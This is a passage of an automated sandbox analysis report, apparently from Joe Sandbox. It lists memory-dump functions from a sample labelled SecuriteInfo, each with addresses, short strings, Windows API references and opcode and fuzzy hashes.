Instruction ID: a352e25d9bc7f5454e2ec3010c1b981286d3c7a55d304e6b5060d265ae10d62f
Opcode Fuzzy Hash: 5dc5ae32c676a4943a307b759c5384286d656d81dff42e7d441c42eb0ec53d37
Instruction Fuzzy Hash: 73816334B042189BDB0C9F79985477F7BB7BFC8750B15856DE406EB384CE389802AB95

Function 080A3DC8 Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

6f, xrefs: 080A4028
$]q, xrefs: 080A3E51
6f, xrefs: 080A401A

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 6f$6f$$]q
API String ID: 0-3010377955
Opcode ID: ca30aba37b5143761c8139e1497970c7ac6f4193313a4697dcdf4d4991d8291a
Instruction ID: 412c844d2adddc9b864c474fc8acb126dbd3af1f587828ad4a37e68ca1d6e4df
Opcode Fuzzy Hash: ca30aba37b5143761c8139e1497970c7ac6f4193313a4697dcdf4d4991d8291a
Instruction Fuzzy Hash: DB71B074E01208AFDF58CFA9D585AAEBBF2FF88301F20852AD506AB394DB345951CF51

Function 00A456B8 Relevance: 2.7, Strings: 2, Instructions: 227COMMON

Download Yara Rule

Strings

,aq, xrefs: 00A45798
,aq, xrefs: 00A4578E

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: ,aq$,aq
API String ID: 0-2990736959
Opcode ID: ff5ceb189571697c10496c646890addfce363d845a194292bcdc271519efd37e
Instruction ID: bbbe6f1190272d0e024cd4e76fb25ce4933ca1435f274586c456c5ccbe920d99
Opcode Fuzzy Hash: ff5ceb189571697c10496c646890addfce363d845a194292bcdc271519efd37e
Instruction Fuzzy Hash: 36813938E00909CFCB14DFB9C884A6AB7B6BFC9315B258569D405DB366DB31EC41DB90

Function 0801E034 Relevance: 2.7, Strings: 2, Instructions: 219COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0801E0B9
Te]q, xrefs: 0801E292

Memory Dump Source

Source File: 00000000.00000002.2800544183.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8010000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: 7a123b259750c1f34d4ca2c34e50a8dafedf78ad34b682ecf94b29fcb19df465
Instruction ID: 0c0b06d0e62b73c417096fdccfc1250b968b1d64add8bd57f7963f6bbefadf11
Opcode Fuzzy Hash: 7a123b259750c1f34d4ca2c34e50a8dafedf78ad34b682ecf94b29fcb19df465
Instruction Fuzzy Hash: E891E474E052099FDB09CFA9C884ADEFBB2FF89310F24842AD915BB265D7349946CF50

Function 0801FC28 Relevance: 2.7, Strings: 2, Instructions: 209COMMON

Download Yara Rule

Strings

@, xrefs: 0801FD06
@, xrefs: 0801FCFF

Memory Dump Source

Source File: 00000000.00000002.2800544183.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8010000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-693420146
Opcode ID: a7d65eb4544e2ba1348b66bf8450b199dd95f1a1c0ba4af44241599fd2d12ef7
Instruction ID: 43e7ffa036f986185761164d7173ed054ef47fd0665a072bc19aae9a67c903ea
Opcode Fuzzy Hash: a7d65eb4544e2ba1348b66bf8450b199dd95f1a1c0ba4af44241599fd2d12ef7
Instruction Fuzzy Hash: 8B9148B0E0520ADFCF04CFA9C5816EEFBB2BF88311F14856AD515A7244DB389A41DF91

Function 0801E050 Relevance: 2.7, Strings: 2, Instructions: 207COMMON

Download Yara Rule

Strings

Te]q, xrefs: 0801E0B9
Te]q, xrefs: 0801E292

Memory Dump Source

Source File: 00000000.00000002.2800544183.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8010000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Te]q$Te]q
API String ID: 0-3320153681
Opcode ID: f8b3a7312a1472c27a732a30ec0639d6557c59d1f7d8b4bcbcf2e333d5561f84
Instruction ID: 51d222461dea969bc0afe260969103211e19c8aebbdea3881bee964a4609162b
Opcode Fuzzy Hash: f8b3a7312a1472c27a732a30ec0639d6557c59d1f7d8b4bcbcf2e333d5561f84
Instruction Fuzzy Hash: 9691C274E042199FDB08CFAAC984ADEFBB2FF88311F24942AD915BB254D7349946CF50

Function 080A3DB8 Relevance: 2.7, Strings: 2, Instructions: 195COMMON

Download Yara Rule

Strings

6f, xrefs: 080A4028
$]q, xrefs: 080A3E51

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 6f$$]q
API String ID: 0-403443862
Opcode ID: fee0d227de00db5311af9fc6a2181fb8be7b1f7b8d73c79e4d22a4a10c3f4a79
Instruction ID: 381bc27e589117533154466b3fe0e0da3ee0251470df9f4e92ff06aefa61ac7a
Opcode Fuzzy Hash: fee0d227de00db5311af9fc6a2181fb8be7b1f7b8d73c79e4d22a4a10c3f4a79
Instruction Fuzzy Hash: 5281E274E01208EFDB48DFA9D585AAEBBF2EF88301F20852AE905A7394DB345951CF51

Function 080AAED0 Relevance: 1.7, APIs: 1, Instructions: 164processCOMMON

Download Yara Rule

APIs

CreateProcessAsUserW.KERNEL32(?,?,?,0000000A,?,?,?,?,?,?,?), ref: 080AB03B

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID: CreateProcessUser
String ID:
API String ID: 2217836671-0
Opcode ID: 0f1da8792e45689b86c38b5d99bc2691b5eb138549eb2554f36d2fd101fcb06f
Instruction ID: 92e8566ed2a3be85d3c102558b7fe6797df873a26bdbe51f4b69a6db26475129
Opcode Fuzzy Hash: 0f1da8792e45689b86c38b5d99bc2691b5eb138549eb2554f36d2fd101fcb06f
Instruction Fuzzy Hash: 27512AB1D00229DFDB64CF99C840BDDBBB2BF48310F0480AAE518B7250DB759A85CF90

Function 0785ECA3 Relevance: 1.5, Strings: 1, Instructions: 277COMMON

Download Yara Rule

Strings

kQD, xrefs: 0785EF38

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: kQD
API String ID: 0-3066535408
Opcode ID: f21638c363018c5d9f2b8fddb54e9d3261ae746d51aab2aeb07473a315f3963c
Instruction ID: f3ecbe10b0438323544a0749b7399897e1d2c7a3b576e233a9aeda34489a43d2
Opcode Fuzzy Hash: f21638c363018c5d9f2b8fddb54e9d3261ae746d51aab2aeb07473a315f3963c
Instruction Fuzzy Hash: C7C14AB4D15209DFCB08CFA9C8848AEFBB2FF99340F14D956D915AB215D734AA42CF90

Function 0801E8CA Relevance: 1.4, Strings: 1, Instructions: 150COMMON

Download Yara Rule

Strings

>NG, xrefs: 0801E97E

Memory Dump Source

Source File: 00000000.00000002.2800544183.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8010000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: >NG
API String ID: 0-1926143806
Opcode ID: 70b1ad107a8a158c985543c0aa984f8b209f3ab185302e14dc6e52abe1556cf9
Instruction ID: 226999f9a84729ce80f71e35f0dce0996f524a5c4a1791fdae16252ad8babdc3
Opcode Fuzzy Hash: 70b1ad107a8a158c985543c0aa984f8b209f3ab185302e14dc6e52abe1556cf9
Instruction Fuzzy Hash: 88513770E062098FDB48CFAAC8406AEFBF2BF89311F14C56AD516A7254E7349A41CF64

Function 0801EC18 Relevance: 1.4, Strings: 1, Instructions: 146COMMON

Download Yara Rule

Strings

qpV, xrefs: 0801EBEB

Memory Dump Source

Source File: 00000000.00000002.2800544183.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8010000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: qpV
API String ID: 0-3070079016
Opcode ID: 815726f800679a35d14a41fcb913556911f663a684e59c87c0e38b4ebced4f1b
Instruction ID: 47dccbb5f4b64fe55630a0843ac15bf0ece1e62dd5fff0b227d865a21cdf1c36
Opcode Fuzzy Hash: 815726f800679a35d14a41fcb913556911f663a684e59c87c0e38b4ebced4f1b
Instruction Fuzzy Hash: 6351F5B4E05249DFCB44CFA9C4819AEFBF2FB89310F14C5AAD815A7315D3349A428F51

Function 080187F8 Relevance: 1.4, Instructions: 1393COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800544183.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8010000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 931e3b5f3122f2a6aa0df11dc310b423de8f3c00a1d2b6eb13378ceb457c0ee9
Instruction ID: 3f8a77a19f04e249bab8656dc435841060f76a74dc61895f2229abb4f3c28389
Opcode Fuzzy Hash: 931e3b5f3122f2a6aa0df11dc310b423de8f3c00a1d2b6eb13378ceb457c0ee9
Instruction Fuzzy Hash: B2C28070E142289BDB55FFB8D89879DBBB2FB89304F8089A9D44DA3340DE385D45CB52

Function 0801C3A7 Relevance: 1.4, Strings: 1, Instructions: 122COMMON

Download Yara Rule

Strings

<, xrefs: 0801C4CD

Memory Dump Source

Source File: 00000000.00000002.2800544183.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8010000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: <
API String ID: 0-4251816714
Opcode ID: e266cfb78bd0368aa0669fe149ac6e3cfcae76d76abd9ff4cd3c372268b9369e
Instruction ID: 326af9248fc6177d79551ca001851c132f6c5a163745383aff7fc5bb300e1e50
Opcode Fuzzy Hash: e266cfb78bd0368aa0669fe149ac6e3cfcae76d76abd9ff4cd3c372268b9369e
Instruction Fuzzy Hash: CB518475E01618CFDB58CFAAC9446DDBBF2AFC9311F14C0AAD509AB224EB345A85CF40

Function 060C30B0 Relevance: .6, Instructions: 598COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2798702372.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7c7bffa598d3d73d5e4b0d55ad8c641f23e9ba4f0fd1960a3d6f92245122eac
Instruction ID: adfb821d08c6cb29de97ab227a09e6710229e539b8ead2b406fdea39933a3012
Opcode Fuzzy Hash: e7c7bffa598d3d73d5e4b0d55ad8c641f23e9ba4f0fd1960a3d6f92245122eac
Instruction Fuzzy Hash: C7525E34A003458FCB14DF28C944B99B7F2FF89314F2582A9D5586F3A1DBB1AA86CF41

Function 060C30E0 Relevance: .6, Instructions: 596COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2798702372.00000000060C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 060C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_60c0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fabe392dc5315fe4078835bb3430b6bd0b9564958817e0376cb085fe394b2d4c
Instruction ID: 4e0ec50c579605288aa0f3bfe38de17772624f693210702864cb09619f191aee
Opcode Fuzzy Hash: fabe392dc5315fe4078835bb3430b6bd0b9564958817e0376cb085fe394b2d4c
Instruction Fuzzy Hash: D2525D34A003458FCB14DF68C944B99B7F2EF89314F2582A9D5586F3A1DBB1AE86CF41

Function 0785DBFD Relevance: .4, Instructions: 372COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1305550b7c5a9bc1928e1981e529edb1111f811bfb37f85e6b060c8c2c528abf
Instruction ID: 88d52abd66588f32932531f19a32d6a6c93edad8bc74fcd66799d3255869025f
Opcode Fuzzy Hash: 1305550b7c5a9bc1928e1981e529edb1111f811bfb37f85e6b060c8c2c528abf
Instruction Fuzzy Hash: 445130B0E056588FDB19CFA6C8846DEFBF2BF99310F14C0AAD805AB254DB345A85CF51

Function 0785DC24 Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cff5d3a13d1dc164c612ec3bc83c2b7e76b88943a50198b7e425f19bcf02686f
Instruction ID: 2c24d1df90507d3637ae5e50f472f10a6e972a38bbdaef9ee6e482f6e19ac577
Opcode Fuzzy Hash: cff5d3a13d1dc164c612ec3bc83c2b7e76b88943a50198b7e425f19bcf02686f
Instruction Fuzzy Hash: D8413CB0E016588FDB19CFA6C8846DEFBF2BF98310F14C4AAD805AB254DB345A85CF51

Function 0785DC2A Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1db1ac6ed1d778026075d4c9d78bb565f8e32f986a65eb5ca673142121b0c34
Instruction ID: 7bb92e13ab0e808c333c53f208c5fd5af6639a3ac239b66e59a8afabd86443a3
Opcode Fuzzy Hash: a1db1ac6ed1d778026075d4c9d78bb565f8e32f986a65eb5ca673142121b0c34
Instruction Fuzzy Hash: 8C411CB0E016588FDB19CFA6C9846DEFBF2BF98310F14C0AAD805AB254DB345A85CF51

Function 080A6136 Relevance: .3, Instructions: 322COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41bda4dbed5f1b9b45e3dd2990898d0eab462e625dbdd3efab0662949070b738
Instruction ID: a3af533a8a6f821c395839ef4cbf0a8f62354fb5d8fdd14786ac29c7102262c7
Opcode Fuzzy Hash: 41bda4dbed5f1b9b45e3dd2990898d0eab462e625dbdd3efab0662949070b738
Instruction Fuzzy Hash: 8CF13674A05269CFDB65CF69C844B9DBBB6BF88340F14C6EAD40AA7215D7349E81CF40

Function 080A9028 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ac7775448cb12ff2bfa1792ddc4b11bed4206ed9fc8be37f89f2e77d220a36d3
Instruction ID: 2f5171f0ca326eb49357e57c7c625031196a358e171467843ace93591a32c591
Opcode Fuzzy Hash: ac7775448cb12ff2bfa1792ddc4b11bed4206ed9fc8be37f89f2e77d220a36d3
Instruction Fuzzy Hash: 54B10374E06219DFDF04CFE9D984A9DFBB2FB89301F20952AD41AAB254D7389911CF24

Function 00A47AA0 Relevance: .3, Instructions: 256COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 08310f1b15797a0850745f3608aba34d9948caa542faf8fda624cbeed38488cd
Instruction ID: cfc8677e072a5e480e43d0c34ad01b4517972ef0671177a70bd536a0a259d212
Opcode Fuzzy Hash: 08310f1b15797a0850745f3608aba34d9948caa542faf8fda624cbeed38488cd
Instruction Fuzzy Hash: 4EB13F75E042599FCB15CFA9C984AADBBB1FF88310F158069E815AB3A1C730ED45CF90

Function 00A4274C Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 216351e35ae5bad2a985368c57878decba674769740ea2af752a5043e4f96f56
Instruction ID: 417ee7de013ef6f20604617f1496e43eee8784d4d31d555b4dd68266a678a314
Opcode Fuzzy Hash: 216351e35ae5bad2a985368c57878decba674769740ea2af752a5043e4f96f56
Instruction Fuzzy Hash: 5F81E275E04218CFDB14DFAAD884B9DBBB2BF88300F24816AE405AB2A5DB745946CF50

Function 00A42758 Relevance: .2, Instructions: 194COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d0213162b4b00d9a5f42f6a320c6b00833bd84038a8c7eac96e6402040483d3
Instruction ID: 555ab4d038c94d7f250fb03868cbd782ad617f5c1846a6e96ded2eb0c5263705
Opcode Fuzzy Hash: 7d0213162b4b00d9a5f42f6a320c6b00833bd84038a8c7eac96e6402040483d3
Instruction Fuzzy Hash: F881A175E00218CFDB14DFA9D984B9DBBF2BF88304F248169E405AB3A5DB745945CF50

Function 080A5898 Relevance: .2, Instructions: 159COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 906d41f79b1905f985c7fcfa11d8f4c35ae708184fe296c92d2abfb6024d78a4
Instruction ID: 6c920c3808c04540ad883847641cadcc2987b01d2dae4eaf99433e24b942a779
Opcode Fuzzy Hash: 906d41f79b1905f985c7fcfa11d8f4c35ae708184fe296c92d2abfb6024d78a4
Instruction Fuzzy Hash: A861E270E01219DFDB44CFE9D9856AEBBB2FF88302F10842AD416BB250D7745A51CF55

Function 080A5888 Relevance: .2, Instructions: 153COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98a09a4d02ec3e3ea845b833edec532a9a262ab2ffdd6040223cc3a3f7e967b1
Instruction ID: 04319dab6e886208715cfa897b4d73c2ae889bf677502be6aef15e989feb9dd0
Opcode Fuzzy Hash: 98a09a4d02ec3e3ea845b833edec532a9a262ab2ffdd6040223cc3a3f7e967b1
Instruction Fuzzy Hash: 87611670E01219DFDF08CFE8C9856AEBBB2FF89302F14852AD416A7290D7389A51CF51

Function 0785DE18 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 200551773352c583a266b7166b5eeb7f810da0232e539343ea330f0c953a61b9
Instruction ID: a90b537bfd921fe542583b7995e558d26723abc84d5dbe14a20c18fa2be29c00
Opcode Fuzzy Hash: 200551773352c583a266b7166b5eeb7f810da0232e539343ea330f0c953a61b9
Instruction Fuzzy Hash: 3351FBB0E11218DFDB18CF96C8846DDBBB2BF98311F10C4A9D909AB254DB346A95CF50

Function 0801D42F Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800544183.0000000008010000.00000040.00000800.00020000.00000000.sdmp, Offset: 08010000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8010000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0a4dfde132cf66f142218da9ecfa101a5b6ff4af57c40fb5ab134459b81a963
Instruction ID: e8b2f2d4f7bef992383919c655439c921a0559f2752e0128f8b056244c44fd1f
Opcode Fuzzy Hash: b0a4dfde132cf66f142218da9ecfa101a5b6ff4af57c40fb5ab134459b81a963
Instruction Fuzzy Hash: B131FD71E002589FEB58CF6AD84479EBBF3AFC9210F04C1AAD40CA7255DB345A45CF21

Function 080A0698 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2800675659.00000000080A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 080A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_80a0000_SecuriteInfo.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 37c8509bc57dd515bfe676373e61b118922cf8dc4c32cf20388ec23d7a400003
Instruction ID: b6a59a1d1e5d6607517d08eaa6738c7633d3abb082985253ba12335eac8f06d8
Opcode Fuzzy Hash: 37c8509bc57dd515bfe676373e61b118922cf8dc4c32cf20388ec23d7a400003
Instruction Fuzzy Hash: E221CD71E016188BEB58CFABDC4069EFBF7AFC8300F04C1BAC518A6264DB3416558F51

Function 0536B228 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0536B2B6
GetCurrentThread.KERNEL32 ref: 0536B2F3
GetCurrentProcess.KERNEL32 ref: 0536B330
GetCurrentThreadId.KERNEL32 ref: 0536B389

Memory Dump Source

Source File: 00000000.00000002.2797079790.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5360000_SecuriteInfo.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 22c2273f3934507606f6924e18894b6b92732c60c75769004270a73e7c130375
Instruction ID: 490d66cacdf700c6032b3a585cf149ca9751c70ca5ba6bdf79c51e3b4d492ed7
Opcode Fuzzy Hash: 22c2273f3934507606f6924e18894b6b92732c60c75769004270a73e7c130375
Instruction Fuzzy Hash: 6D5145B49002098FDB14DFA9D548BAEBBF5FF88314F20C45DE019A7260DB78A984CF65

Function 0536B238 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 0536B2B6
GetCurrentThread.KERNEL32 ref: 0536B2F3
GetCurrentProcess.KERNEL32 ref: 0536B330
GetCurrentThreadId.KERNEL32 ref: 0536B389

Memory Dump Source

Source File: 00000000.00000002.2797079790.0000000005360000.00000040.00000800.00020000.00000000.sdmp, Offset: 05360000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5360000_SecuriteInfo.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 15a482695cbda64d368ac341177fde773db25b861ae32bb070b02bbe1d62671c
Instruction ID: 5759eff432258f89e204122a0e633293a4a95d0c9c543a58430ea45b5423311a
Opcode Fuzzy Hash: 15a482695cbda64d368ac341177fde773db25b861ae32bb070b02bbe1d62671c
Instruction Fuzzy Hash: 275145B49012098FDB14DFAAD548BAEBFF5EF88314F20C45DE019A7260DB74A944CF65

Function 00A483C0 Relevance: 4.0, Strings: 3, Instructions: 256COMMON

Download Yara Rule

Strings

$]q, xrefs: 00A484CC
Haq, xrefs: 00A4856C
$]q, xrefs: 00A484C0

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Haq$$]q$$]q
API String ID: 0-1533201563
Opcode ID: 838bd8fdbde60b855fa33cdad2cb94a72e8af44840dfa9ed7cdba7b71f502174
Instruction ID: 7a883bd5b6740b3be4b2cdf38e277bab5c9af0018714a3050d82d3db616267a1
Opcode Fuzzy Hash: 838bd8fdbde60b855fa33cdad2cb94a72e8af44840dfa9ed7cdba7b71f502174
Instruction Fuzzy Hash: 5A81D1397046158FCB1AAF35B95867E7BA6AFC4740B148429F906CB391DF38CD02DB92

Function 00A48740 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

Haq, xrefs: 00A48837
4']q, xrefs: 00A4892B
Haq, xrefs: 00A4886A

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: 4']q$Haq$Haq
API String ID: 0-1526952785
Opcode ID: 00f848678f0a212477fff4a6101754390e0bcac243f8fe48cb0f87e9f55da5b9
Instruction ID: b916fb5700148b9498e009d26f557a0bd224813ccba1e36db5626c7f29dff73a
Opcode Fuzzy Hash: 00f848678f0a212477fff4a6101754390e0bcac243f8fe48cb0f87e9f55da5b9
Instruction Fuzzy Hash: A6919C396046599FCB15DF68E854AAE7BB2FFC8300F15446AE9459B2A2CB38CC41CB91

Function 07851094 Relevance: 3.9, Strings: 3, Instructions: 118COMMON

Download Yara Rule

Strings

@, xrefs: 0785109C
Te]q, xrefs: 078511A7
TJbq, xrefs: 078511BC

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: @$TJbq$Te]q
API String ID: 0-2800237591
Opcode ID: 10d66a2e331414c8d2bf78ac8621b961c67f2aaed19d2611573cb0e78992ddf7
Instruction ID: 72bf3e464787b8e06a9ec826b61ea757299571f2ee11ad1de95dfcf7716dca5e
Opcode Fuzzy Hash: 10d66a2e331414c8d2bf78ac8621b961c67f2aaed19d2611573cb0e78992ddf7
Instruction Fuzzy Hash: 0341869160E3D14FD7035B3898287997FB2AF97214B1E41DBD096CF6E3D9198C0A83A6

Function 00A48DF0 Relevance: 3.3, Strings: 2, Instructions: 766COMMON

Download Yara Rule

Strings

$]q, xrefs: 00A49914
$]q, xrefs: 00A49937

Memory Dump Source

Source File: 00000000.00000002.2785298070.0000000000A40000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a40000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: $]q$$]q
API String ID: 0-127220927
Opcode ID: d3247eb7a13105075bcef17fe5e02350c54e8ff1f6ea4158bd0c0ef929438d49
Instruction ID: 2cb19c1d1007cd9e571b8d0ee355dbc0c9081892efd32a1c05bd3d65b423b6bb
Opcode Fuzzy Hash: d3247eb7a13105075bcef17fe5e02350c54e8ff1f6ea4158bd0c0ef929438d49
Instruction Fuzzy Hash: A4627274A0021C8FEB15EBA4C950B9FBBB6EF84300F5084A9D50A6B366DF389D85CF51

Function 07850040 Relevance: 2.9, Strings: 2, Instructions: 392COMMON

Download Yara Rule

Strings

Haq, xrefs: 07850181
Haq, xrefs: 078500F8

Memory Dump Source

Source File: 00000000.00000002.2800104124.0000000007850000.00000040.00000800.00020000.00000000.sdmp, Offset: 07850000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7850000_SecuriteInfo.jbxd

Similarity

API ID:
String ID: Haq$Haq
API String ID: 0-4016896955
Opcode ID: 95aa8da95c9e291b8118eac3831f2edf6beddea26fe2880122c155831999bb30
Instruction ID: b5e13926e4b17ba29fbb288c4876636b99a8249cc0bd5c94fa4bd45c59b54564
